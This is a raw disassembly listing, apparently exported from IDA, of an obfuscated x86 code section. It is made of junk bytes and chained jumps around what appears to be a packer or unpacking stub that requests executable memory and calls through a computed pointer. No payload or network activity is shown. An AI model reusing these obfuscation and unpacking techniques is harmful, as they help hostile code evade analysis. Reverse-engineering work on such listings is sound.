; --------------------------------------------------------------------------- dd 740CF616h, 0F1850F85h, 7C57E921h, 2C3E982Dh ; --------------------------------------------------------------------------- or al, [eax-3Dh] loc_467F6B: ; CODE XREF: DMN1:loc_467F54j inc edx jmp short loc_467F72 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 33h db 9Dh, 8Dh ; --------------------------------------------------------------------------- loc_467F72: ; CODE XREF: DMN1:00467F6Cj test ebx, 2E1E3D33h jmp short loc_467F98 ; --------------------------------------------------------------------------- dw 39EFh dd 7C94DB6Bh, 0BB8399C2h, 1B103BDCh, 0E58CA4A4h, 6CCCAAAAh dd 59653853h, 0C6F66E9Eh ; --------------------------------------------------------------------------- loc_467F98: ; CODE XREF: DMN1:00467F78j xchg edi, edi jmp short loc_467FAD ; --------------------------------------------------------------------------- dd 0AD57EDA2h, 0BB735CDBh, 585DA7F0h, 1F0E939h db 0B7h ; --------------------------------------------------------------------------- loc_467FAD: ; CODE XREF: DMN1:00467F9Aj jmp short loc_467FC8 ; --------------------------------------------------------------------------- db 84h dd 0EA49ACDEh, 0B544129Dh, 0E494886h, 0FF1DFDEAh, 786F2076h dd 0C15A759Fh ; --------------------------------------------------------------------------- loc_467FC8: ; CODE XREF: DMN1:loc_467FADj bswap ebx jmp short loc_467FDC ; --------------------------------------------------------------------------- dd 57BD1182h, 5EC9E6D3h, 0AC18243Ch, 0D9C99C9Bh ; --------------------------------------------------------------------------- loc_467FDC: ; CODE XREF: DMN1:00467FCAj xchg edi, edx xchg eax, ebp jmp short loc_467FE4 ; --------------------------------------------------------------------------- db 90h db 29h ; --------------------------------------------------------------------------- loc_467FE4: ; CODE XREF: DMN1:00467FE0j jmp short loc_467FF3 ; --------------------------------------------------------------------------- dw 0DE8Ch dd 0D29437D6h, 530CB6E9h db 13h, 1Ah, 9 ; --------------------------------------------------------------------------- loc_467FF3: ; CODE XREF: DMN1:loc_467FE4j jmp short loc_468002 ; --------------------------------------------------------------------------- db 3Dh, 5Ah, 14h dd 0EA270933h, 0FFC111CFh ; --------------------------------------------------------------------------- jle short loc_46805E loc_468002: ; CODE XREF: DMN1:loc_467FF3j test ebx, 8F578930h add edi, 31000h cld xchg ebx, ebp jmp short loc_46802E ; --------------------------------------------------------------------------- db 73h dd 59C32863h, 0A3981520h, 0A3674467h, 331F2CDBh, 12F2F051h dd 9B506A49h ; --------------------------------------------------------------------------- sar edx, cl loc_46802E: ; CODE XREF: DMN1:00468011j test edx, 10FDA7DFh jmp short loc_468052 ; --------------------------------------------------------------------------- push esi jmp dword ptr [ecx] ; --------------------------------------------------------------------------- db 12h, 0B7h, 0D8h dd 0F69A9B69h, 5F86832Bh, 0B3432334h, 0D799C9D7h, 0BB018304h db 0E6h, 99h ; --------------------------------------------------------------------------- loc_468052: ; CODE XREF: DMN1:00468034j or ecx, 0FFFFFFFFh cmc stc jmp short loc_468073 ; --------------------------------------------------------------------------- db 20h, 74h, 0F4h db 63h, 0B8h ; --------------------------------------------------------------------------- loc_46805E: ; CODE XREF: DMN1:00468000j inc ebp mov byte ptr [esi-29h], 0D2h xor ch, bl movsb test [ebp-27A25B5h], ah cmpsb ; --------------------------------------------------------------------------- dw 0BB69h ; --------------------------------------------------------------------------- jg short loc_4680A0 aas loc_468073: ; CODE XREF: DMN1:00468057j test ebp, 237A3A12h jmp short $+2 jmp short loc_468095 ; --------------------------------------------------------------------------- db 33h, 37h, 66h dd 565267DCh, 0F2E9066Bh, 7B4326C4h ; --------------------------------------------------------------------------- xlat loc_46808D: ; CODE XREF: DMN1:004680DAj imul esi, [edi], 0F5868563h inc ebp ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_468095: ; CODE XREF: DMN1:0046807Bj inc ecx jmp short loc_4680AC ; --------------------------------------------------------------------------- dd 0DEE21F55h, 0E1B2213Dh ; --------------------------------------------------------------------------- loc_4680A0: ; CODE XREF: DMN1:00468070j xchg eax, esp push ss inc esp sbb ds:8A66E44h[ecx], ebx jz short loc_4680D8 loc_4680AC: ; CODE XREF: DMN1:00468096j jmp short loc_4680BB ; --------------------------------------------------------------------------- dw 61DBh dd 672E44Ch, 0F139E64Bh db 0C7h, 0FFh, 0F6h ; --------------------------------------------------------------------------- loc_4680BB: ; CODE XREF: DMN1:loc_4680ACj jmp short loc_4680DC ; --------------------------------------------------------------------------- db 0FEh, 3Eh, 48h dd 765CA650h, 9A95FAF1h, 2662A09Fh, 4DF86EE7h, 34822839h dd 87B476E5h ; --------------------------------------------------------------------------- loc_4680D8: ; CODE XREF: DMN1:004680AAj push cs xchg eax, ebx ja short loc_46808D loc_4680DC: ; CODE XREF: DMN1:loc_4680BBj xchg esp, ebp jmp short loc_4680ED ; --------------------------------------------------------------------------- dd 4125DC0Eh, 2C0170A4h, 6EA79B52h db 0C7h ; --------------------------------------------------------------------------- loc_4680ED: ; CODE XREF: DMN1:004680DEj jmp short loc_4680FA ; --------------------------------------------------------------------------- db 27h dd 12FA4978h, 69AD1349h db 0ECh, 0DDh ; --------------------------------------------------------------------------- loc_4680FA: ; CODE XREF: DMN1:loc_4680EDj jmp short loc_4680FE ; --------------------------------------------------------------------------- db 64h, 0AEh ; --------------------------------------------------------------------------- loc_4680FE: ; CODE XREF: DMN1:loc_4680FAj add ecx, 514Bh loc_468104: ; CODE XREF: DMN1:004686B3j jmp short loc_468115 ; --------------------------------------------------------------------------- test byte ptr [eax+565DA39Fh], 0CAh xor dl, [ecx+54h] mov ecx, 341A00DCh loc_468115: ; CODE XREF: DMN1:loc_468104j jmp short loc_468123 ; --------------------------------------------------------------------------- db 0Dh db 0CCh db 10h, 0EFh, 0FDh dd 0F03FE00Dh db 0D9h, 0Ah, 81h ; --------------------------------------------------------------------------- loc_468123: ; CODE XREF: DMN1:loc_468115j neg ebx not esi jmp short loc_46812E ; --------------------------------------------------------------------------- db 82h, 80h, 0DBh ; --------------------------------------------------------------------------- wait aaa loc_46812E: ; CODE XREF: DMN1:00468127j xchg ebx, esp neg edx bswap esi xchg ebx, edx jmp short loc_468142 ; --------------------------------------------------------------------------- dd 0E6EC1F17h, 0CC8F4888h db 9Ch, 20h ; --------------------------------------------------------------------------- loc_468142: ; CODE XREF: DMN1:00468136j jmp short loc_46814A ; --------------------------------------------------------------------------- dd 937288B6h db 4Bh, 0 ; --------------------------------------------------------------------------- loc_46814A: ; CODE XREF: DMN1:loc_468142j bswap esi bswap esi jmp short loc_46815D ; --------------------------------------------------------------------------- dd 2496A579h, 0F1524E00h, 0A50648F8h ; --------------------------------------------------------------------------- push ss loc_46815D: ; CODE XREF: DMN1:0046814Ej jmp short $+2 jmp short loc_468177 ; --------------------------------------------------------------------------- popf scasd push 0CE5DD9B4h mov bl, 26h cmp bl, [ecx+ebp*8+4CB0BCB9h] rcr ebx, 82h leave and edi, esp loc_468177: ; CODE XREF: DMN1:0046815Fj cld jmp short loc_468180 ; --------------------------------------------------------------------------- xchg eax, esp test eax, 1275BDA5h loc_468180: ; CODE XREF: DMN1:00468178j jmp short loc_468185 ; --------------------------------------------------------------------------- dw 1676h db 71h ; --------------------------------------------------------------------------- loc_468185: ; CODE XREF: DMN1:loc_468180j mov edx, eax jmp short loc_468193 ; --------------------------------------------------------------------------- db 7, 40h, 17h dd 4FC58A0Ah db 79h, 2 dup(20h) ; --------------------------------------------------------------------------- loc_468193: ; CODE XREF: DMN1:00468187j jmp short loc_4681AD ; --------------------------------------------------------------------------- db 9Eh, 3Eh, 60h dd 613113D1h, 0AC42DB1Eh, 4BD55AE4h, 5ECBA10Ch, 0F80DBF27h ; --------------------------------------------------------------------------- push ss loc_4681AD: ; CODE XREF: DMN1:loc_468193j cmc xchg ebx, ecx add edx, edi jmp short loc_4681BF ; --------------------------------------------------------------------------- dd 0A8734965h, 0DD745583h db 0FEh, 50h, 16h ; --------------------------------------------------------------------------- loc_4681BF: ; CODE XREF: DMN1:004681B2j xor ecx, 2CA099FDh jmp short loc_4681CA ; --------------------------------------------------------------------------- db 0D0h db 2Ah, 8Ah ; --------------------------------------------------------------------------- loc_4681CA: ; CODE XREF: DMN1:004681C5j xchg ebp, edi jmp short loc_4681E5 ; --------------------------------------------------------------------------- dw 466Eh dd 0C2FF8438h, 8AF0AD10h, 0A000237Fh, 3220DDA6h, 0FFD1A62Bh ; --------------------------------------------------------------------------- inc ebp loc_4681E5: ; CODE XREF: DMN1:004681CCj jmp short loc_4681FB ; --------------------------------------------------------------------------- db 10h dd 0E6DFDC39h, 6C5B6FC0h, 6F65C59h, 0D7D47F4Bh db 0D8h, 2Fh, 18h ; --------------------------------------------------------------------------- loc_4681FB: ; CODE XREF: DMN1:loc_4681E5j jmp short loc_468207 ; --------------------------------------------------------------------------- push 0C87F39F8h mov edx, 0DD1620Bh loc_468207: ; CODE XREF: DMN1:loc_4681FBj bswap esi clc xchg ebp, ebp jmp short loc_46822C ; --------------------------------------------------------------------------- dw 2BECh dd 0B245C61Ch, 0F20E1FFDh, 49761B9Ah, 64A00BAEh, 0DAB48EE4h dd 0D286A235h, 0D97C1298h ; --------------------------------------------------------------------------- loc_46822C: ; CODE XREF: DMN1:0046820Cj jmp short loc_468249 ; --------------------------------------------------------------------------- dw 8B6Eh ; --------------------------------------------------------------------------- add edi, ds:59AC1BDFh mov eax, 2DBD8362h cwde mov ebp, 0ACCDE1A0h mov dword ptr [ebp-42h], 3D645F25h scasb loc_468249: ; CODE XREF: DMN1:loc_46822Cj mov esp, [edx] jmp short loc_468255 ; --------------------------------------------------------------------------- db 12h, 52h, 0D0h dd 749434F8h db 0B0h ; --------------------------------------------------------------------------- loc_468255: ; CODE XREF: DMN1:0046824Bj dec esi stc jmp short loc_46825C ; --------------------------------------------------------------------------- db 0F6h, 98h, 36h ; --------------------------------------------------------------------------- loc_46825C: ; CODE XREF: DMN1:00468257j jmp short loc_468273 ; --------------------------------------------------------------------------- dw 0E555h dd 0C924E236h, 553D6969h, 40D97445h, 173FDCEFh ; --------------------------------------------------------------------------- adc [eax+edi*2], ch loc_468273: ; CODE XREF: DMN1:loc_46825Cj add ecx, 1263C87Ah xor esp, [edi] jmp short loc_468297 ; --------------------------------------------------------------------------- db 65h, 24h, 0CDh dd 7D34CC8Eh, 0A383E5FCh, 3016DB11h, 3D76952Eh, 5399C9Dh db 0DFh, 0D9h, 2Bh ; --------------------------------------------------------------------------- loc_468297: ; CODE XREF: DMN1:0046827Bj jmp short loc_4682A3 ; --------------------------------------------------------------------------- db 87h, 0A5h, 2Fh dd 0BEF0988Ah db 0CDh, 5Eh, 0CAh ; --------------------------------------------------------------------------- loc_4682A3: ; CODE XREF: DMN1:loc_468297j xchg ebp, edx jmp short loc_4682B6 ; --------------------------------------------------------------------------- db 5Fh dd 0B4132FECh, 2BAEAE97h, 692FB579h db 54h, 0B2h ; --------------------------------------------------------------------------- loc_4682B6: ; CODE XREF: DMN1:004682A5j jmp short loc_4682B9 ; --------------------------------------------------------------------------- db 0B3h ; --------------------------------------------------------------------------- loc_4682B9: ; CODE XREF: DMN1:loc_4682B6j xchg esp, [edi] jmp short loc_4682CF ; --------------------------------------------------------------------------- db 5Eh, 8Ah, 25h dd 300B3A74h, 0D1B867DBh, 8C794E0h db 0E4h, 3, 0E6h ; --------------------------------------------------------------------------- loc_4682CF: ; CODE XREF: DMN1:004682BBj jmp short loc_4682E7 ; --------------------------------------------------------------------------- db 3, 2 dup(41h) dd 933A5CB2h, 0D3A9BE0Ah, 4A463E4h, 42FD7E2Eh db 0D8h, 1Ah, 0E2h ; --------------------------------------------------------------------------- loc_4682E7: ; CODE XREF: DMN1:loc_4682CFj jmp short loc_468307 ; --------------------------------------------------------------------------- db 0ECh, 50h, 0DAh dd 28ADC40Dh, 0F06DABD5h, 2AF6BEDh, 0C96025A2h, 39EB2A64h dd 0D4E907B7h db 90h ; --------------------------------------------------------------------------- push ebp pop eax loc_468307: ; CODE XREF: DMN1:loc_4682E7j jmp short loc_468312 ; --------------------------------------------------------------------------- db 0EEh, 76h, 1Dh dd 0D5FE12D1h db 0A0h, 0F3h ; --------------------------------------------------------------------------- loc_468312: ; CODE XREF: DMN1:loc_468307j jmp short $+2 xchg ebx, esp jmp short loc_46832E ; --------------------------------------------------------------------------- dd 84A0C63Eh, 0F7308F3Eh, 0F0832904h, 963E16DEh, 0B3702ACAh db 63h, 46h ; --------------------------------------------------------------------------- loc_46832E: ; CODE XREF: DMN1:00468316j clc jmp short loc_468341 ; --------------------------------------------------------------------------- db 3Dh, 14h, 0C8h ; --------------------------------------------------------------------------- xchg ah, [edi-2186D127h] pop ds and eax, [edi-36833500h] loc_468341: ; CODE XREF: DMN1:0046832Fj rcl esi, 20h jmp short loc_468354 ; --------------------------------------------------------------------------- dw 0B9FEh dd 9A55CEE9h, 0B167B1BCh, 147D82DDh ; --------------------------------------------------------------------------- loc_468354: ; CODE XREF: DMN1:00468344j add ebp, 483F126Fh clc jmp short loc_468371 ; --------------------------------------------------------------------------- db 7, 0D9h, 2Ch dd 0C9981A1Fh, 6D00C27Ch, 0C38274F0h, 0A55BF71Ah ; --------------------------------------------------------------------------- lodsb loc_468371: ; CODE XREF: DMN1:0046835Bj rol ebx, 1 cmc jmp short loc_468386 ; --------------------------------------------------------------------------- mul byte ptr [esi] and al, 0B8h mov dl, 8Dh sub edi, [ecx-6] sub al, 0B0h sahf std adc edi, [esi+43h] loc_468386: ; CODE XREF: DMN1:00468374j not esi jmp short loc_4683A4 ; --------------------------------------------------------------------------- dw 763Eh dd 3C4655CEh, 0B5A5824Bh, 0D9274819h, 4DC34774h, 0DEE9D309h dd 2DC28F5Ah ; --------------------------------------------------------------------------- loc_4683A4: ; CODE XREF: DMN1:00468388j add ebx, 0F1533F5Eh jmp short loc_4683B9 ; --------------------------------------------------------------------------- dd 0D090D1Fh, 0DDB41D68h, 0E732ED73h db 29h ; --------------------------------------------------------------------------- loc_4683B9: ; CODE XREF: DMN1:004683AAj jmp short loc_4683C1 ; --------------------------------------------------------------------------- db 0CFh ; --------------------------------------------------------------------------- mov word ptr [ebp+46h], ss jge short near ptr byte_46842E loc_4683C1: ; CODE XREF: DMN1:loc_4683B9j bswap ebp test ebp, 6A3439A9h xchg ebx, [edi] jmp short loc_4683DD ; --------------------------------------------------------------------------- db 12h, 19h, 36h dd 68E60E86h, 0DD8897D4h, 0DCA39A28h db 0DDh ; --------------------------------------------------------------------------- loc_4683DD: ; CODE XREF: DMN1:004683CBj inc ebp cmc bswap esi jmp short loc_4683EE ; --------------------------------------------------------------------------- retf 86E8h ; --------------------------------------------------------------------------- lodsb adc eax, 5847F7F6h dec ebp cld loc_4683EE: ; CODE XREF: DMN1:004683E1j jmp short loc_468406 ; --------------------------------------------------------------------------- dd 43D063D6h, 2A1378A7h, 0A8CA2A75h, 0D0A613F9h, 2907896Fh db 7Dh, 0D3h ; --------------------------------------------------------------------------- loc_468406: ; CODE XREF: DMN1:loc_4683EEj xchg esi, ebx jmp short loc_46840F ; --------------------------------------------------------------------------- dw 0B85Ah db 1Ah, 44h, 2Eh ; --------------------------------------------------------------------------- loc_46840F: ; CODE XREF: DMN1:00468408j jmp short loc_46842A ; --------------------------------------------------------------------------- db 60h, 1Bh, 5Fh dd 529E682Dh, 9A8ED13Bh, 0CEF497A5h, 2F48A36Fh, 0E5088BC7h db 0DFh, 60h ; --------------------------------------------------------------------------- loc_46842A: ; CODE XREF: DMN1:loc_46840Fj xchg edx, edi jmp short loc_46842F ; --------------------------------------------------------------------------- byte_46842E db 1Ah ; CODE XREF: DMN1:004683BFj ; --------------------------------------------------------------------------- loc_46842F: ; CODE XREF: DMN1:0046842Cj cmc mov ecx, edi xchg edx, edi loc_468434: ; CODE XREF: DMN1:004684AFj jmp short loc_46843B ; --------------------------------------------------------------------------- dw 0E297h db 0CEh, 4Dh, 0F7h ; --------------------------------------------------------------------------- loc_46843B: ; CODE XREF: DMN1:loc_468434j add ecx, eax jmp short loc_468452 ; --------------------------------------------------------------------------- cmp al, 0B6h fsubr dword ptr [esi+6Bh] xchg eax, edx enter 0FFFF8DD8h, 3Eh imul esi, [ebp+6], -66h sub bl, [eax-6Dh] leave inc edi loc_468452: ; CODE XREF: DMN1:0046843Dj sbb ebp, 0FFB16644h jmp short loc_468463 ; --------------------------------------------------------------------------- loc_46845A: ; CODE XREF: DMN1:004684BFj scasb push ebp sub ch, al jmp short loc_4684DC ; --------------------------------------------------------------------------- db 3Eh, 0F9h, 2Dh ; --------------------------------------------------------------------------- loc_468463: ; CODE XREF: DMN1:00468458j xchg edi, esi mov [ecx], edi jmp short loc_46846C ; --------------------------------------------------------------------------- db 8, 2 dup(49h) ; --------------------------------------------------------------------------- loc_46846C: ; CODE XREF: DMN1:00468467j test edi, 9740E56Ah jmp short loc_468481 ; --------------------------------------------------------------------------- dd 60746549h, 5F4680B0h, 900BC0DDh db 69h ; --------------------------------------------------------------------------- loc_468481: ; CODE XREF: DMN1:00468472j jmp short loc_4684A0 ; --------------------------------------------------------------------------- db 46h dd 3A8F2876h, 4E69E3BDh, 15BE0D6Dh, 0D58BF85Eh, 829F49E2h dd 3102928Ch, 6B26A04Bh ; --------------------------------------------------------------------------- loc_4684A0: ; CODE XREF: DMN1:loc_468481j stc jmp short loc_4684A8 ; --------------------------------------------------------------------------- db 0A4h dd 0DE35483Bh ; --------------------------------------------------------------------------- loc_4684A8: ; CODE XREF: DMN1:004684A1j bswap ecx jmp short loc_4684C8 ; --------------------------------------------------------------------------- cld cmp eax, [ebx] jnp short loc_468434 mov esp, 1EBC4394h ror dword ptr [esi+35FB0074h], cl rcr dword ptr [ebp+3Bh], cl jbe short loc_46845A rcr byte ptr [ebx], 9 or byte ptr [esi+62h], 0DCh loc_4684C8: ; CODE XREF: DMN1:004684AAj jmp short loc_4684D1 ; --------------------------------------------------------------------------- dw 3477h dd 91551871h db 19h ; --------------------------------------------------------------------------- loc_4684D1: ; CODE XREF: DMN1:loc_4684C8j jmp short loc_4684E2 ; --------------------------------------------------------------------------- db 1Fh dd 8EACD11Dh, 25A80A0Bh ; --------------------------------------------------------------------------- loc_4684DC: ; CODE XREF: DMN1:0046845Ej lahf sub eax, 0DE6F9985h loc_4684E2: ; CODE XREF: DMN1:loc_4684D1j xor edi, 4813B58Ch jmp short $+2 clc jmp short loc_468502 ; --------------------------------------------------------------------------- db 7Fh, 4Dh, 0C2h dd 0CF865585h, 0F7D64601h, 0A3A26D1Fh, 86E0E853h db 0DBh, 0A1h ; --------------------------------------------------------------------------- loc_468502: ; CODE XREF: DMN1:004684EBj jmp short loc_46850A ; --------------------------------------------------------------------------- dd 0EA14C4EFh ; --------------------------------------------------------------------------- cmp dh, al loc_46850A: ; CODE XREF: DMN1:loc_468502j add edx, 2 jmp short loc_46852E ; --------------------------------------------------------------------------- db 0CEh dd 0E197F23Fh, 34B77494h, 8245171Dh, 297EC0FDh, 7CBAC863h dd 0F38CB08Dh, 2CB1D771h ; --------------------------------------------------------------------------- aad 29h loc_46852E: ; CODE XREF: DMN1:0046850Dj jmp short loc_46853B ; --------------------------------------------------------------------------- dd 860036D2h, 0FA38DACAh db 0A7h, 55h, 25h ; --------------------------------------------------------------------------- loc_46853B: ; CODE XREF: DMN1:loc_46852Ej xchg ebx, edi jmp short loc_468552 ; --------------------------------------------------------------------------- db 3Fh dd 0EA31BA34h, 0A118769Ah, 2B057237h, 2FF0388Bh db 0C2h, 40h ; --------------------------------------------------------------------------- loc_468552: ; CODE XREF: DMN1:0046853Dj jmp short loc_468560 ; --------------------------------------------------------------------------- sal dword ptr [edi+79h], 0AAh mov esi, 0E2985E1Bh pop edi sbb edi, esi loc_468560: ; CODE XREF: DMN1:loc_468552j std jmp short loc_46857A ; --------------------------------------------------------------------------- daa cmp dword ptr [edx], 5 mov bl, 0B4h mov esi, 2A72B322h or bh, ch xor dh, bh db 36h cli lds ebx, [ebp-362B618Fh] loc_46857A: ; CODE XREF: DMN1:00468561j inc edx jmp short loc_46858C ; --------------------------------------------------------------------------- sub ch, dl cmp [eax], bh pop ds fdiv dword ptr [edx] retf ; --------------------------------------------------------------------------- db 8Eh, 0E4h, 62h dd 18165511h ; --------------------------------------------------------------------------- loc_46858C: ; CODE XREF: DMN1:0046857Bj xchg esp, ebx jmp short loc_4685A1 ; --------------------------------------------------------------------------- dd 15D43CD5h, 33DD207Ch, 69C536E6h, 0E7D48A9Bh db 36h ; --------------------------------------------------------------------------- loc_4685A1: ; CODE XREF: DMN1:0046858Ej jmp short loc_4685A4 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4685A4: ; CODE XREF: DMN1:loc_4685A1j jmp short loc_4685BC ; --------------------------------------------------------------------------- dw 4A0Ah dd 240F667h, 7FCFC19Ch, 3F2C4C4Ah, 6F807074h, 0D5670646h ; --------------------------------------------------------------------------- loc_4685BC: ; CODE XREF: DMN1:loc_4685A4j jmp short loc_4685CF ; --------------------------------------------------------------------------- dw 513Dh dd 0B18DEEB3h, 44E8098Ch, 84EB8129h db 95h, 0Eh, 1Ah ; --------------------------------------------------------------------------- loc_4685CF: ; CODE XREF: DMN1:loc_4685BCj std xchg edx, ebx jmp short loc_4685DC ; --------------------------------------------------------------------------- dd 0AA57DEEFh, 0F8B9A87Eh ; --------------------------------------------------------------------------- loc_4685DC: ; CODE XREF: DMN1:004685D2j test ebp, 36B99957h jmp short loc_4685E6 ; --------------------------------------------------------------------------- jnz short loc_4685F9 loc_4685E6: ; CODE XREF: DMN1:004685E2j jmp short loc_4685F1 ; --------------------------------------------------------------------------- dd 0A05BDCA5h, 8B9A706Dh ; --------------------------------------------------------------------------- pop ebx loc_4685F1: ; CODE XREF: DMN1:loc_4685E6j inc ebx jmp short loc_468607 ; --------------------------------------------------------------------------- dd 0EC08A0E3h ; --------------------------------------------------------------------------- pushf loc_4685F9: ; CODE XREF: DMN1:004685E4j scasb push 66865D24h bswap ebp scasd out 0A8h, al ; Interrupt Controller #2, 8259A sub bl, [edx] aaa loc_468607: ; CODE XREF: DMN1:004685F2j cmc xchg esp, esi jmp short loc_468621 ; --------------------------------------------------------------------------- dd 28167756h, 833BFAE2h, 0B534956Dh, 0DDD99D90h, 0FE002D70h db 0A2h ; --------------------------------------------------------------------------- loc_468621: ; CODE XREF: DMN1:0046860Aj jmp short loc_46862F ; --------------------------------------------------------------------------- db 9Dh dd 49F2ACE9h, 1EE0BDA9h db 0A8h, 81h, 0A2h ; --------------------------------------------------------------------------- loc_46862F: ; CODE XREF: DMN1:loc_468621j jmp short loc_468648 ; --------------------------------------------------------------------------- db 80h, 25h, 70h dd 48FB517Fh, 0B8147A85h, 9F5DFF69h, 46743E33h, 2C7E2D6Dh ; --------------------------------------------------------------------------- loc_468648: ; CODE XREF: DMN1:loc_46862Fj sub edx, 1 jz short loc_4686B8 jmp short loc_468664 ; --------------------------------------------------------------------------- db 0C7h dd 0E216D25Ch, 8C7C2E2Fh, 0F586BF07h, 0B80FA948h, 0C72E504Fh ; --------------------------------------------------------------------------- loc_468664: ; CODE XREF: DMN1:0046864Dj jmp short loc_468669 ; --------------------------------------------------------------------------- dw 0C0AEh db 19h ; --------------------------------------------------------------------------- loc_468669: ; CODE XREF: DMN1:loc_468664j xchg edi, ebx cld jmp short loc_468689 ; --------------------------------------------------------------------------- mov esi, 128B2E8Eh push ebx icebp dec esp xor esi, edx pop ds rol dh, 1 retf ; --------------------------------------------------------------------------- dd 0E8804E2Ch, 8DBBC953h, 48B9E444h db 6Dh ; --------------------------------------------------------------------------- loc_468689: ; CODE XREF: DMN1:0046866Cj jmp short $+2 xchg ecx, edx stc jmp short $+2 std stc dec edx jmp short loc_4686AC ; --------------------------------------------------------------------------- db 5Eh, 0B3h, 7Ah dd 83025141h, 0EB96F49Fh, 52C4DA9Bh, 1238EA07h, 0F91BE79Fh ; --------------------------------------------------------------------------- loc_4686AC: ; CODE XREF: DMN1:00468693j not esi bswap esi cld xchg ebp, esp jmp loc_468104 ; --------------------------------------------------------------------------- loc_4686B8: ; CODE XREF: DMN1:0046864Bj xchg ebp, eax jmp short loc_4686BD ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- loc_4686BD: ; CODE XREF: DMN1:004686BAj jmp short loc_4686CA ; --------------------------------------------------------------------------- db 0CDh ; --------------------------------------------------------------------------- mov ch, 0AEh retn ; --------------------------------------------------------------------------- stc std pop edx retf 272Eh ; --------------------------------------------------------------------------- db 0CAh ; --------------------------------------------------------------------------- loc_4686CA: ; CODE XREF: DMN1:loc_4686BDj jmp short $+2 bswap eax jmp short loc_4686E5 ; --------------------------------------------------------------------------- dd 36B75840h, 8C438DE6h, 1DD26967h, 0BE452D78h, 0C8413B55h ; --------------------------------------------------------------------------- popf loc_4686E5: ; CODE XREF: DMN1:004686CEj jmp short loc_468701 ; --------------------------------------------------------------------------- db 2Eh dd 461FDC81h, 7BB76A2Ch, 0A669447Bh, 3CE2108h, 3839A007h dd 787FA0FDh db 15h ; --------------------------------------------------------------------------- loc_468701: ; CODE XREF: DMN1:loc_4686E5j jmp short loc_468704 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_468704: ; CODE XREF: DMN1:loc_468701j std jmp short loc_46871B ; --------------------------------------------------------------------------- and al, 0D9h cmp [edx+60A350A2h], eax dec eax retf 585Ah ; --------------------------------------------------------------------------- db 0D5h dd 0EA5DCF8Dh ; --------------------------------------------------------------------------- sub bh, dh dec edi loc_46871B: ; CODE XREF: DMN1:00468705j jmp short loc_468729 ; --------------------------------------------------------------------------- db 2 dup(8Eh), 71h dd 0FD0DAAD8h, 353AA80Bh ; --------------------------------------------------------------------------- push esp loc_468729: ; CODE XREF: DMN1:loc_46871Bj std jmp short loc_468734 ; --------------------------------------------------------------------------- dd 47FC76E2h, 82A96D5Bh ; --------------------------------------------------------------------------- loc_468734: ; CODE XREF: DMN1:0046872Aj jmp short loc_468744 ; --------------------------------------------------------------------------- dw 96A9h db 8Ah, 0D2h dw 23B2h dd 4CA75246h, 69EF44F8h ; --------------------------------------------------------------------------- loc_468744: ; CODE XREF: DMN1:loc_468734j jmp short loc_46875C ; --------------------------------------------------------------------------- dw 24DEh dd 88FA5h, 0AADB53D2h, 4DBF2779h, 0FECF5786h, 72C22FF2h ; --------------------------------------------------------------------------- loc_46875C: ; CODE XREF: DMN1:loc_468744j pop edi jmp short loc_468765 ; --------------------------------------------------------------------------- db 6Eh ; --------------------------------------------------------------------------- cmp eax, 6AACA79Bh loc_468765: ; CODE XREF: DMN1:0046875Dj not edi std jmp short loc_46877A ; --------------------------------------------------------------------------- dw 0E6A1h dd 6965943Eh, 0F742A25h, 0EEB4CD9Ah ; --------------------------------------------------------------------------- xchg cl, ah loc_46877A: ; CODE XREF: DMN1:00468768j jmp short loc_46878F ; --------------------------------------------------------------------------- dd 996C420Dh, 66188987h, 0C555075h, 0E0E74F87h db 18h, 1, 75h ; --------------------------------------------------------------------------- loc_46878F: ; CODE XREF: DMN1:loc_46877Aj jmp short loc_4687AC ; --------------------------------------------------------------------------- db 85h, 2Fh, 2Ch dd 7E4B4095h, 31B81FA3h, 9273EA40h, 0C2420363h, 38DD339Dh dd 948CB827h ; --------------------------------------------------------------------------- loc_4687AC: ; CODE XREF: DMN1:loc_46878Fj jmp short loc_4687CC ; --------------------------------------------------------------------------- dw 42CEh dd 0C7473660h, 0B8DB8FCCh, 2E42981Fh, 39732C21h, 0DF56E3E2h dd 6A91FD3Dh, 0B590F0D0h ; --------------------------------------------------------------------------- loc_4687CC: ; CODE XREF: DMN1:loc_4687ACj bswap esi jmp short loc_4687E7 ; --------------------------------------------------------------------------- scasb retf 0FAD7h ; --------------------------------------------------------------------------- mov ebx, 2E7D4F20h inc edx rsqrtps xmm5, oword ptr [ecx-5Ah] pop ebx inc esp mov ds:97C9EE40h, al adc ah, [edi] loc_4687E7: ; CODE XREF: DMN1:004687CEj jmp short loc_4687EA ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_4687EA: ; CODE XREF: DMN1:loc_4687E7j jmp short loc_468807 ; --------------------------------------------------------------------------- dd 58A039FEh, 0BBF9EAF5h, 0E1966649h, 0E4EBD846h, 7658F0D3h dd 335FEBFEh ; --------------------------------------------------------------------------- leave xchg eax, esp cli loc_468807: ; CODE XREF: DMN1:loc_4687EAj jmp short loc_46880A ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- loc_46880A: ; CODE XREF: DMN1:loc_468807j jmp short loc_468826 ; --------------------------------------------------------------------------- dd 3E1AAFF4h, 8B169257h, 0CA5AF1F5h, 0F1A960Bh, 0FE2792F2h dd 62F99265h db 0E4h, 0A8h ; --------------------------------------------------------------------------- loc_468826: ; CODE XREF: DMN1:loc_46880Aj std jmp loc_467A0F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_46882C proc near ; CODE XREF: DMN1:00468896p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 31333936h xor edx, 6AAD93DBh mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 150B3h add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 46023h call dword ptr [eax] add esp, 4 popa retn sub_46882C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 6F49755Ah mov eax, 3F0F5031h loc_468886: ; CODE XREF: DMN1:00468893j add eax, 276D6A46h xor edx, eax add dx, ax rol edx, 7 loop loc_468886 push eax call sub_46882C leave retn ; --------------------------------------------------------------------------- align 10h dd 36h dup(0) dd 45000100h, 50746978h, 